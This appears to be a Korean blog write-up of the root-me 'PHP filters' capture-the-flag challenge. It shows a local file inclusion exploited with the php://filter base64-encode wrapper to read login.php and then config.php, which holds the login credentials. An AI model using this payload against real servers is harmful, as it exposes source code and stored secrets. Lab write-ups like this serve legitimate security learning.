WebHacking

[root-me] PHP filters

BIGFROG 2020. 1. 6. 17:50

PHP filter?

사용자 입력과 같은 안전하지 않은 소스로부터의 데이터를 유효성 검사 및 필터링할 때 이용.

 

화면에서 home을 눌렀을 때,

inc=accueil.php

login을 눌렀을 때,

inc=login.php로

URL을 받는 것을 확인할 수 있다.

 

파라미터로 php파일을 받아서 실행시키는 것인데,

파라미터에 ../ 를 넣어보도록 한다.

Warning 문구가 출력된다. include()함수에 뭔가 문제가 있는 것 같고,


failed to open stream: Operation not permitted in /challenge/web-serveur/ch12/ch12.php

 

같은 문구가 출력됨을 확인할 수 있다.

 

inc=ch12.php로 넣어주면 처음 화면과 같은 화면이 나온다.

 

이쯤에서 필터링을 우회할 수 있는 방법을 찾아야 하는데,

 

include()함수의 문제로 봐서는 LFI 취약점이라고 보는게 맞는 것 같다.

 

그래서 php wrapper를 이용하기로 한다.

 

php wrapper?

 

php에는 다양한 임베디드 wrapper가 있는데, 그 중 하나인 php:// 같은 경우에는

다양한 입출력 스트림에 대한 접근을 하게 해준다.

(Accessing various I/O streams)

 

소스를 보기 위해 php wrapper를 이용한다.

 

php://filter/convert.base64-encode/resource=파일이름.php

 

로 작성해서 파라미터값에 넘겨주면 된다.(inc=php://~~~~)

 

login.php파일을 넘겨줬더니,

 

인코딩된 듯한 문장이 나오는데 이를 base64 decoding한 결과,

 

<?php

include("config.php");


if ( isset($_POST["username"]) && isset($_POST["password"]) ){

    if ($_POST["username"]==$username && $_POST["password"]==$password){

      print("<h2>Welcome back !</h2>");

      print("To validate the challenge use this password<br/><br/>");

    } else {

      print("<h3>Error : no such user/password</h2><br />");

    }

} else {

?>


<form action="" method="post">

  Login&nbsp;<br/>

  <input type="text" name="username" /><br/><br/>

  Password&nbsp;<br/>

  <input type="password" name="password" /><br/><br/>

  <br/><br/>

  <input type="submit" value="connect" /><br/><br/>

</form>


<?php } ?>

 

라는 소스코드를 볼 수 있다.

 

내용을 보니 password가 flag가 되는 듯 하고, 중요한건 제일 첫 부분에 있는

include("config.php")이다.

 

다시 위로 올라가서, login.php대신 config.php로 url을 수정해서 입력한다.

 

나온 결과를 역시 base64 decoding시키면,

 

서버에 저장된 username과 password를 얻을 수 있다.

 

이를 통해 admin으로 로그인이 가능하고, password 자체가 flag이므로 이를 통해

 

validation이 가능하다.

'WebHacking' 카테고리의 다른 글

[root-me] PHP register globals  (0) 2020.01.06
[root-me] File upload - MIME type  (0) 2020.01.06
[root-me] File upload - null byte  (0) 2020.01.06
[root-me] File upload - double extensions  (0) 2020.01.06
[root-me] CRLF  (0) 2020.01.06